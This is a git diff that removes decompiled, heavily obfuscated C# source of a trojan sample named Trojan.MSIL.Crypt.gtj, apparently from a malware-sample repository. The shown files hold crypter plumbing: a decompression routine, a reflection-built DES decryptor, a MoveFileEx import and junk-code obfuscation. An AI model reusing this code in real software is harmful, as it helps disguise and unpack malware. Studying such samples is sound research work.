*(int*) ((IntPtr) voidPtr + 24) = 198227; - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 24); - *(int*) ((IntPtr) voidPtr + 20) = 33404; - *(int*) ((IntPtr) voidPtr + 20) = 159743; - *(int*) ((IntPtr) voidPtr + 140) = *(int*) ((IntPtr) voidPtr + 20); - *(int*) ((IntPtr) voidPtr + 116) = 84465; - *(int*) ((IntPtr) voidPtr + 116) = 125402; - *(int*) ((IntPtr) voidPtr + 104) = *(int*) ((IntPtr) voidPtr + 116); - \u0002.\u0005.\u0001(785); - \u0002.\u0005.\u0001(798); - *(int*) ((IntPtr) voidPtr + 64) = 45888; - *(int*) ((IntPtr) voidPtr + 64) = 147542; - *(int*) ((IntPtr) voidPtr + 88) = *(int*) ((IntPtr) voidPtr + 64); - *(int*) ((IntPtr) voidPtr + 84) = 95396; - *(int*) ((IntPtr) voidPtr + 84) = 98482; - *(int*) ((IntPtr) voidPtr + 36) = *(int*) ((IntPtr) voidPtr + 84); - *(int*) ((IntPtr) voidPtr + 16) = 22433; - *(int*) ((IntPtr) voidPtr + 16) = 0; - while (*(int*) ((IntPtr) voidPtr + 16) > 7875) - { - *(int*) ((IntPtr) voidPtr + 184) = 0; - *(int*) ((IntPtr) voidPtr + 184) = 20; - *(int*) ((IntPtr) voidPtr + 184) = 0; - *(int*) ((IntPtr) voidPtr + 176) = *(int*) ((IntPtr) voidPtr + 184); - *(int*) ((IntPtr) voidPtr + 152) = -831286; - *(int*) ((IntPtr) voidPtr + 152) = 28705; - *(int*) ((IntPtr) voidPtr + 160) = *(int*) ((IntPtr) voidPtr + 152); - *(int*) ((IntPtr) voidPtr + 168) = 0; - *(int*) ((IntPtr) voidPtr + 168) = 1; - *(int*) ((IntPtr) voidPtr + 168) = 1; - *(int*) ((IntPtr) voidPtr + 168) = 0; - *(int*) ((IntPtr) voidPtr + 224) = *(int*) ((IntPtr) voidPtr + 168); - *(int*) ((IntPtr) voidPtr + 164) = 664162; - *(int*) ((IntPtr) voidPtr + 164) = 131541; - *(int*) ((IntPtr) voidPtr + 164) = 85195; - *(int*) ((IntPtr) voidPtr + 164) = 119327; - *(int*) ((IntPtr) voidPtr + 220) = *(int*) ((IntPtr) voidPtr + 164); - *(int*) ((IntPtr) voidPtr + 172) = -921330; - *(int*) ((IntPtr) voidPtr + 172) = -35523; - *(int*) ((IntPtr) voidPtr + 172) = -38169; - *(int*) ((IntPtr) voidPtr + 148) = *(int*) ((IntPtr) voidPtr + 172); - *(int*) ((IntPtr) voidPtr + 180) = 0; - *(int*) ((IntPtr) voidPtr + 180) = 0; - *(int*) ((IntPtr) voidPtr + 156) = *(int*) ((IntPtr) voidPtr + 180); - *(int*) ((IntPtr) voidPtr + 188) = 892850; - *(int*) ((IntPtr) voidPtr + 188) = 106777; - *(int*) ((IntPtr) voidPtr + 188) = 77291; - *(int*) ((IntPtr) voidPtr + 212) = *(int*) ((IntPtr) voidPtr + 188); - *(int*) ((IntPtr) voidPtr + 208) = 980269; - *(int*) ((IntPtr) voidPtr + 208) = 113528; - *(int*) ((IntPtr) voidPtr + 208) = 176891; - *(int*) ((IntPtr) voidPtr + 200) = *(int*) ((IntPtr) voidPtr + 208); - *(int*) ((IntPtr) voidPtr + 216) = -719010; - *(int*) ((IntPtr) voidPtr + 216) = -51457; - *(int*) ((IntPtr) voidPtr + 216) = 17935; - *(int*) ((IntPtr) voidPtr + 192) = *(int*) ((IntPtr) voidPtr + 216); - *(int*) ((IntPtr) voidPtr + 196) = 487594; - *(int*) ((IntPtr) voidPtr + 196) = 148747; - *(int*) ((IntPtr) voidPtr + 196) = 156881; - *(int*) ((IntPtr) voidPtr + 196) = 18668; - *(int*) ((IntPtr) voidPtr + 204) = *(int*) ((IntPtr) voidPtr + 196); - *(int*) ((IntPtr) voidPtr + 16) = checked (*(int*) unchecked ((IntPtr) voidPtr + 16) + 1); - } - return \u0002.\u0005.\u0001(807); - } - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - static extern bool \u0001(string _param0, string _param1, int _param2); - - static unsafe void \u0001(\u0006.\u0006.\u0007.\u0001 _param0, [In] \u0006.\u0006.\u0007.\u0001 obj1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(20); - *(int*) ((IntPtr) voidPtr + 8) = -1; - *(int*) ((IntPtr) voidPtr + 12) = 0; - while (*(int*) ((IntPtr) voidPtr + 12) < obj1.\u0002) - { - int num = 1; - *(int*) ((IntPtr) voidPtr + 16) = (int) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 12)]; - if (*(int*) ((IntPtr) voidPtr + 16) != 0) - { - *(int*) voidPtr = 6; - *(int*) ((IntPtr) voidPtr + 4) = 3; - if (*(int*) ((IntPtr) voidPtr + 8) != *(int*) ((IntPtr) voidPtr + 16)) - { - \u0005.\u0001.\u0001(_param0, *(int*) ((IntPtr) voidPtr + 16)); - num = 0; - } - } - else - goto label_17; -label_4: - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 16); - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + 1; - while (*(int*) ((IntPtr) voidPtr + 12) < obj1.\u0002 && *(int*) ((IntPtr) voidPtr + 8) == (int) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 12)]) - { - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + 1; - if (++num >= *(int*) voidPtr) - break; - } - if (num < *(int*) ((IntPtr) voidPtr + 4)) - { - while (num-- > 0) - \u0005.\u0001.\u0001(_param0, *(int*) ((IntPtr) voidPtr + 8)); - continue; - } - if (*(int*) ((IntPtr) voidPtr + 8) != 0) - { - \u0005.\u0001.\u0001(_param0, 16); - \u0005.\u0001.\u0001(obj1.\u0001.\u0001, num - 3, 2); - continue; - } - if (num <= 10) - { - \u0005.\u0001.\u0001(_param0, 17); - \u0005.\u0001.\u0001(obj1.\u0001.\u0001, num - 3, 3); - continue; - } - \u0005.\u0001.\u0001(_param0, 18); - \u0005.\u0001.\u0001(obj1.\u0001.\u0001, num - 11, 7); - continue; -label_17: - *(int*) voidPtr = 138; - *(int*) ((IntPtr) voidPtr + 4) = 3; - goto label_4; - } - } - - static ICryptoTransform \u0001( - byte[] _param0, - \u0001.\u0002 _param1, - byte[] _param2, - [In] bool obj3) - { - _param1.\u0001.GetProperty("Key").GetSetMethod().Invoke(_param1.\u0001, new object[1] - { - (object) _param2 - }); - _param1.\u0001.GetProperty("IV").GetSetMethod().Invoke(_param1.\u0001, new object[1] - { - (object) _param0 - }); - return (ICryptoTransform) _param1.\u0001.GetMethod(obj3 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]).Invoke(_param1.\u0001, new object[0]); - } - - static byte[] \u0001(byte[] _param0) => \u0005.\u0001.\u0001((byte[]) null, 1, (byte[]) null, _param0); - - static void \u0001() - { - try - { - if (Environment.OSVersion.Platform != PlatformID.Win32NT) - return; - MemoryManager.\u0001 = new MemoryManager(); - } - catch - { - } - } - - static bool \u0001(bool _param0, bool _param1, [In] \u0006.\u0006.\u0008 obj2) - { - bool flag; - int num1; - do - { - \u0005.\u0001.\u0001(obj2); - int num2; - while (!_param0) - { - if (true) - { - num2 = 0; - goto label_6; - } - } - goto label_14; -label_6: - int num3; - int num4; - if (true) - { - num3 = num2 != 0 ? 1 : 0; - if (false) - { - num1 = num3; - goto label_11; - } - else - { - num4 = _param1 ? 1 : 0; - goto label_17; - } - } - else - goto label_8; -label_7: - num2 = num2 == 0 ? 1 : 0; -label_8: - if (true) - { - if (num2 != 0) - num1 = flag ? 1 : 0; - else - break; - } - else - goto label_7; -label_11: - continue; -label_14: - int num5 = obj2.\u0017; - int num6 = obj2.\u0018; - if (true) - { - num2 = num5 == num6 ? 1 : 0; - goto label_6; - } - else - { - num4 = num6; - num3 = num5; - } -label_17: - \u0006.\u0006.\u0008 obj = obj2; - flag = \u0005.\u0001.\u0001(num3 != 0, num4 != 0, obj); - num2 = obj2.\u0001.\u0002; - goto label_7; - } - while (num1 != 0); - return flag; - } - - static void \u0001(int _param0, byte[] _param1, int _param2, [In] \u0006.\u0006.\u0003 obj3) - { - if (obj3.\u0004 > 0) - throw new InvalidOperationException(); - int num1 = _param0; -label_1: - int num2; - for (int index = 32768; num1 > index; num1 = num2) - { - num2 = _param2; - if (false) - { - num1 = num2; - goto label_1; - } - else - { - int num3 = _param0; - if (false) - { - index = num3; - } - else - { - if (true) - num3 -= 32768; - int num4 = num2 + num3; - if (true) - { - _param2 = num4; - num4 = 32768; - } - _param0 = num4; - break; - } - } - } - do - { - Array.Copy((Array) _param1, _param2, (Array) obj3.\u0001, 0, _param0); - obj3.\u0003 = _param0 & (int) short.MaxValue; - } - while (false); - } - - static bool \u0001([In] \u0006.\u0006.\u0008 obj0) => obj0.\u0018 == obj0.\u0017; - - static short \u0001(int _param0) => (short) ((int) \u0006.\u0006.\u0007.\u0001[_param0 & 15] << 12 | (int) \u0006.\u0006.\u0007.\u0001[_param0 >> 4 & 15] << 8 | (int) \u0006.\u0006.\u0007.\u0001[_param0 >> 8 & 15] << 4 | (int) \u0006.\u0006.\u0007.\u0001[_param0 >> 12]); - - static void \u0001(\u0006.\u0006.\u0003 _param0, int _param1, int _param2, [In] int obj3) - { - if (false) - return; - while (true) - { - int num1 = _param2; - int num2; - while (true) - { - num2 = num1 - 1; - if (false) - num1 = num2; - else - break; - } - _param2 = num2; - if (num1 > 0) - { - byte[] numArray = _param0.\u0001; - \u0006.\u0006.\u0003 obj = _param0; - int num3; - int num4 = num3 = obj.\u0003; - obj.\u0003 = num3 + 1; - int index = num4; - int num5 = (int) _param0.\u0001[_param1++]; - numArray[index] = (byte) num5; - _param0.\u0003 &= (int) short.MaxValue; - int num6 = _param1; - if (true) - num6 &= (int) short.MaxValue; - _param1 = num6; - } - else - break; - } - } - - static unsafe void \u0001(int[] _param0, [In] \u0006.\u0006.\u0007.\u0001 obj1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(36); - obj1.\u0001 = new byte[obj1.\u0001.Length]; - *(int*) voidPtr = _param0.Length / 2; - *(int*) ((IntPtr) voidPtr + 4) = (*(int*) voidPtr + 1) / 2; - *(int*) ((IntPtr) voidPtr + 8) = 0; - *(int*) ((IntPtr) voidPtr + 12) = 0; - while (true) - { - if (*(int*) ((IntPtr) voidPtr + 12) < obj1.\u0003) - obj1.\u0001[*(int*) ((IntPtr) voidPtr + 12)] = 0; - else - goto label_6; -label_4: - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + 1; - continue; -label_6: - int[] numArray = new int[*(int*) voidPtr]; - numArray[*(int*) voidPtr - 1] = 0; - *(int*) ((IntPtr) voidPtr + 16) = *(int*) voidPtr - 1; - while (*(int*) ((IntPtr) voidPtr + 16) >= 0) - { - int num1 = _param0[2 * *(int*) ((IntPtr) voidPtr + 16) + 1]; - int num2; - while (true) - { - if (num1 != -1) - { - *(int*) ((IntPtr) voidPtr + 20) = numArray[*(int*) ((IntPtr) voidPtr + 16)] + 1; - num2 = *(int*) ((IntPtr) voidPtr + 20); - if (false) - num1 = num2; - else - break; - } - else - goto label_14; - } - int num3 = obj1.\u0003; - if (num2 > num3) - { - *(int*) ((IntPtr) voidPtr + 20) = obj1.\u0003; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) + 1; - } - if (true) - { - numArray[_param0[2 * *(int*) ((IntPtr) voidPtr + 16)]] = numArray[_param0[2 * *(int*) ((IntPtr) voidPtr + 16) + 1]] = *(int*) ((IntPtr) voidPtr + 20); - goto label_15; - } - else - goto label_4; -label_14: - *(int*) ((IntPtr) voidPtr + 24) = numArray[*(int*) ((IntPtr) voidPtr + 16)]; - ++obj1.\u0001[*(int*) ((IntPtr) voidPtr + 24) - 1]; - obj1.\u0001[_param0[2 * *(int*) ((IntPtr) voidPtr + 16)]] = (byte) numArray[*(int*) ((IntPtr) voidPtr + 16)]; -label_15: - *(int*) ((IntPtr) voidPtr + 16) = *(int*) ((IntPtr) voidPtr + 16) - 1; - } - break; - } - if (*(int*) ((IntPtr) voidPtr + 8) == 0) - return; - int index1; - if (true) - index1 = obj1.\u0003 - 1; - else - goto label_23; -label_21: - while (obj1.\u0001[--index1] == 0) - ; -label_22: - --obj1.\u0001[index1]; -label_23: - int[] numArray1; - int[] numArray2 = numArray1 = obj1.\u0001; - int index2; - index1 = index2 = index1 + 1; - int index3 = index2; - int num4 = numArray2[(IntPtr) index3] + 1; - numArray1[index2] = num4; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) - (1 << obj1.\u0003 - 1 - index1); - if (*(int*) ((IntPtr) voidPtr + 8) <= 0 || index1 >= obj1.\u0003 - 1) - { - if (*(int*) ((IntPtr) voidPtr + 8) <= 0) - { - obj1.\u0001[obj1.\u0003 - 1] += *(int*) ((IntPtr) voidPtr + 8); - obj1.\u0001[obj1.\u0003 - 2] -= *(int*) ((IntPtr) voidPtr + 8); - int num5 = 2 * *(int*) ((IntPtr) voidPtr + 4); - *(int*) ((IntPtr) voidPtr + 28) = obj1.\u0003; - while (*(int*) ((IntPtr) voidPtr + 28) != 0) - { - *(int*) ((IntPtr) voidPtr + 32) = obj1.\u0001[*(int*) ((IntPtr) voidPtr + 28) - 1]; - while (*(int*) ((IntPtr) voidPtr + 32) > 0) - { - int index4 = 2 * _param0[num5++]; - if (_param0[index4 + 1] == -1) - { - obj1.\u0001[_param0[index4]] = (byte) *(int*) ((IntPtr) voidPtr + 28); - *(int*) ((IntPtr) voidPtr + 32) = *(int*) ((IntPtr) voidPtr + 32) - 1; - } - } - *(int*) ((IntPtr) voidPtr + 28) = *(int*) ((IntPtr) voidPtr + 28) - 1; - } - } - else - goto label_21; - } - else - goto label_22; - } - - static unsafe bool \u0001(int _param0, \u0006.\u0006.\u0007 _param1, [In] int obj2) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(8); - _param1.\u0001[_param1.\u000E] = (short) _param0; - byte[] numArray1 = _param1.\u0002; - \u0006.\u0006.\u0007 obj = _param1; - int num1; - int num2 = num1 = obj.\u000E; - obj.\u000E = num1 + 1; - int index1 = num2; - int num3 = (int) (byte) (obj2 - 3); - numArray1[index1] = (byte) num3; - *(int*) voidPtr = \u0005.\u0001.\u0001(_param1, obj2 - 3); - short[] numArray2; - IntPtr index2; - (numArray2 = _param1.\u0001.\u0001)[(int) (index2 = (IntPtr) *(int*) voidPtr)] = (short) ((int) numArray2[index2] + 1); - int num4; - if (*(int*) voidPtr >= 265) - { - int num5 = *(int*) voidPtr; - if (true) - { - if (num5 >= 285) - goto label_4; - } - else - { - num4 = num5; - goto label_8; - } - } - else - goto label_4; -label_3: - _param1.\u000F += (*(int*) voidPtr - 261) / 4; -label_4: - if (true) - { - *(int*) ((IntPtr) voidPtr + 4) = \u0005.\u0001.\u0001(_param1, _param0 - 1); - short[] numArray3; - IntPtr index3; - (numArray3 = _param1.\u0002.\u0001)[(int) (index3 = (IntPtr) *(int*) ((IntPtr) voidPtr + 4))] = (short) ((int) numArray3[index3] + 1); - if (*(int*) ((IntPtr) voidPtr + 4) >= 4) - _param1.\u000F += *(int*) ((IntPtr) voidPtr + 4) / 2 - 1; - num4 = _param1.\u000E; - } - else - goto label_3; -label_8: - return num4 >= 16384; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0001.cs deleted file mode 100644 index 6453f998..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0001.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0002; -using \u0006; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0006 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class \u0001 - { - private static readonly \u0001.\u0002<\u0002.\u0002> \u0001 = new \u0001.\u0002<\u0002.\u0002>(); - private static readonly \u0001.\u0002<\u0001> \u0001 = new \u0001.\u0002<\u0001>(); - private static readonly \u0001.\u0002 \u0001 = new \u0001.\u0002(); - private static readonly \u0001.\u0002<\u0001.\u0001> \u0001 = new \u0001.\u0002<\u0001.\u0001>(); - - [HelpKeyword("My.Computer")] - internal static \u0002.\u0002 Computer - { - [DebuggerHidden] get => \u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001 Application - { - [DebuggerHidden] get => \u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0001.\u0001 WebServices - { - [DebuggerHidden] get => \u0001.\u0001.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class \u0001 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - bool object.\u0001(object _param1) => __nonvirtual (((object) this).Equals(RuntimeHelpers.GetObjectValue(_param1))); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - int object.\u0001() => __nonvirtual (((object) this).GetHashCode()); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal Type \u0001() => typeof (\u0001.\u0001); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - string object.\u0001() => __nonvirtual (((object) this).ToString()); - - [DebuggerHidden] - private static \u0001 \u0001<\u0001>(\u0001 _param0) where \u0001 : new() => (object) _param0 == null ? new \u0001() : _param0; - - [DebuggerHidden] - private void \u0001<\u0001>(ref \u0001 _param1) => _param1 = default (\u0001); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0001() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002<\u0001> where \u0001 : new() - { - internal \u0001 GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0001.\u0002<\u0001>.\u0001 == null) - goto label_2; -label_1: - return \u0001.\u0002<\u0001>.\u0001; -label_2: - \u0001.\u0002<\u0001>.\u0001 = new \u0001(); - goto label_1; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0002.cs deleted file mode 100644 index 7192c824..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0002.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -namespace \u0006 -{ - internal sealed class \u0002 - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0003.cs deleted file mode 100644 index eb7c10b3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using System; - -namespace \u0006 -{ - [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Module | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Interface | AttributeTargets.Parameter | AttributeTargets.Delegate)] - internal sealed class \u0003 : Attribute - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0004.cs deleted file mode 100644 index 58933fac..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0004.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0005; -using System; -using System.Reflection; - -namespace \u0006 -{ - internal sealed class \u0004 : IDisposable - { - internal readonly Type \u0001; - internal readonly object \u0001; - - public \u0004() - { - this.\u0001 = Assembly.Load("mscorlib").GetType("System.Security.Cryptography.DESCryptoServiceProvider"); - this.\u0001 = Activator.CreateInstance(this.\u0001); - } - - public void \u0001() => \u0001.\u0001(this); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0005.cs deleted file mode 100644 index ae6653c2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using System; - -namespace \u0006 -{ - [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Module | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method)] - internal sealed class \u0005 : Attribute - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0006.cs deleted file mode 100644 index 704e98b1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0006/_0006.cs +++ /dev/null @@ -1,706 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0003; -using \u0005; -using System; -using System.IO; -using System.Runtime.CompilerServices; - -namespace \u0006 -{ - internal sealed class \u0006 - { - public static string \u0001; - - internal sealed class \u0001 - { - private const int \u0001 = 0; - private const int \u0002 = 1; - private const int \u0003 = 2; - private const int \u0004 = 3; - private const int \u0005 = 4; - private const int \u0006 = 5; - private const int \u0007 = 6; - private const int \u0008 = 7; - private const int \u000E = 8; - private const int \u000F = 9; - private const int \u0010 = 10; - private const int \u0011 = 11; - private const int \u0012 = 12; - internal static readonly int[] \u0001; - internal static readonly int[] \u0002; - internal static readonly int[] \u0003; - internal static readonly int[] \u0004; - internal int \u0013; - internal int \u0014; - internal int \u0015; - internal int \u0016; - internal int \u0017; - internal bool \u0001; - internal \u0006.\u0006.\u0002 \u0001; - internal \u0006.\u0006.\u0003 \u0001; - internal \u0006.\u0006.\u0005 \u0001; - internal \u0006.\u0006.\u0004 \u0001; - internal \u0006.\u0006.\u0004 \u0002; - - public \u0001(byte[] bytes) - { - this.\u0001 = new \u0006.\u0006.\u0002(); - this.\u0001 = new \u0006.\u0006.\u0003(); - this.\u0013 = 2; - \u0001.\u0001(bytes.Length, 0, bytes, this.\u0001); - } - - static \u0001() - { -label_0: - int length1 = 29; - while (true) - { - int[] numArray1 = new int[length1]; - // ISSUE: field reference - RuntimeHelpers.InitializeArray((Array) numArray1, __fieldref (\u0001.\u0001)); - \u0006.\u0006.\u0001.\u0001 = numArray1; - while (true) - { - \u0006.\u0006.\u0001.\u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - if (true) - { - \u0006.\u0006.\u0001.\u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - goto label_5; - } - } - goto label_7; -label_5: - int length2 = 30; - if (length2 == 0) - { - length1 = length2; - continue; - } - int[] numArray2 = new int[length2]; - // ISSUE: field reference - RuntimeHelpers.InitializeArray((Array) numArray2, __fieldref (\u0001.\u0001)); - \u0006.\u0006.\u0001.\u0004 = numArray2; -label_7: - if (true) - { - if (false) - goto label_5; - else - break; - } - else - goto label_0; - } - } - } - - internal sealed class \u0002 - { - internal byte[] \u0001; - internal int \u0001 = 0; - internal int \u0002 = 0; - internal uint \u0001 = 0; - internal int \u0003 = 0; - - public int AvailableBits => this.\u0003; - - public int AvailableBytes - { - get - { - int num1 = this.\u0002; - int num2; - int num3; - while (true) - { - num2 = this.\u0001; - if (true) - { - num3 = num1 - num2; - if (false) - num1 = num3; - else - goto label_7; - } - else - break; - } -label_2: - do - { - if (true) - num2 >>= 3; - } - while (false); - return num1 + num2; -label_7: - num2 = this.\u0003; - num1 = num3; - goto label_2; - } - } - - public bool IsNeedingInput => this.\u0001 == this.\u0002; - } - - internal sealed class \u0003 - { - private const int \u0001 = 32768; - private const int \u0002 = 32767; - internal byte[] \u0001 = new byte[32768]; - internal int \u0003 = 0; - internal int \u0004 = 0; - } - - internal sealed class \u0004 - { - private const int \u0001 = 15; - internal short[] \u0001; - public static readonly \u0006.\u0006.\u0004 \u0001; - public static readonly \u0006.\u0006.\u0004 \u0002; - - static \u0004() - { - byte[] codeLengths = new byte[288]; -label_1: - int num1; - while (true) - { - if (true) - goto label_18; -label_3: - if (true) - { - while (num1 < 144) - codeLengths[num1++] = (byte) 8; - if (true) - { - for (; num1 < 256; codeLengths[num1++] = (byte) 9) - { - if (false) - goto label_1; - } - goto label_7; - } - else - break; - } - else - goto label_10; -label_18: - num1 = 0; - goto label_3; - } - goto label_12; -label_7: - int num2; - int num3; - while (true) - { - num2 = num1; - num3 = 280; - if (num3 != 0) - { - if (num2 < num3) - codeLengths[num1++] = (byte) 7; - else - goto 